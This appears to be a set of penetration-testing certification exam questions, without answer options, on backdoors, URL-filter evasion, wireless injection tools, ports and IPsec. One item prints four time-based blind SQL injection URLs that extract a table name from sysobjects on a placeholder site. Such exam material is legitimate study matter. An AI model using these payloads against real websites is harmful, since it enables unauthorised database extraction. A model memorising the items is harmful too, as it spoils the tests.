Attackers create secret accounts and gain illegal access to resources using backdoor while bypassing the authentication procedures. Creating a backdoor is a where an attacker obtains remote access to a computer on a network.

Which of the following techniques do attackers use to create backdoors to covertly gather critical information about a target machine?

Amazon, an IT based company, conducts a survey on the usage of the Internet. They found that company employees spend most of the time at work surfing the web for their pe rsonal use and for inappropriate web site viewing. Management decide to block all such web sites using URL filtering software.

How can employees continue to see the blocked websites?

A pen tester has extracted a database name by using a blind SQL injection. Now he begins to test the table inside the database using the below query and finds the table:

http://juggyboy.com/page.aspx?id=1; IF (LEN(SELECT TOP 1 NAME from sysobjects where xtype= ' U ' )=3) WAITFOR DELAY ' 00:00:10 ' --

http://juggyboy.com/page.a spx?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=101) WAITFOR DELAY ' 00:00:10 ' --

http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((SELECT T OP 1 NAME from sysobjects where xtype=char(85)),2,1)))=109) WAITFOR DELAY ' 00:00:10 ' --

http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85 )),3,1)))=112) WAITFOR DELAY ' 00:00:10 ' —

What is the table name?

Which one of the following is a supporting tool for 802.11 (wireless) packet injections, it spoofs 802.11 packets to verify whether the access point is valid or not?

Which of the following contents of a pen testing project plan addresses the strengths, weaknesses, opportunities, and threats involved in the project?

Which of the following are the default ports used by NetBIOS service?

Which of the following is a framework of open standards developed by the Internet Engineering T ask Force (IETF) that provides secure transmission of the sensitive data over an unprotected medium, such as the Internet?

John, a penetration tester from a pen test firm, was asked to collect information about the host file in a Windows system directory. Which of the following is the location of the host file in Window system directory?

Identify the type of testing that is carried out without giving any information to the employees or administrative head of the organization.

A framework is a fundamental structure used to support and resolve complex issues. The framework that delivers an efficient set of technologies in order to develop applications which are more secure in using Internet and Intranet is: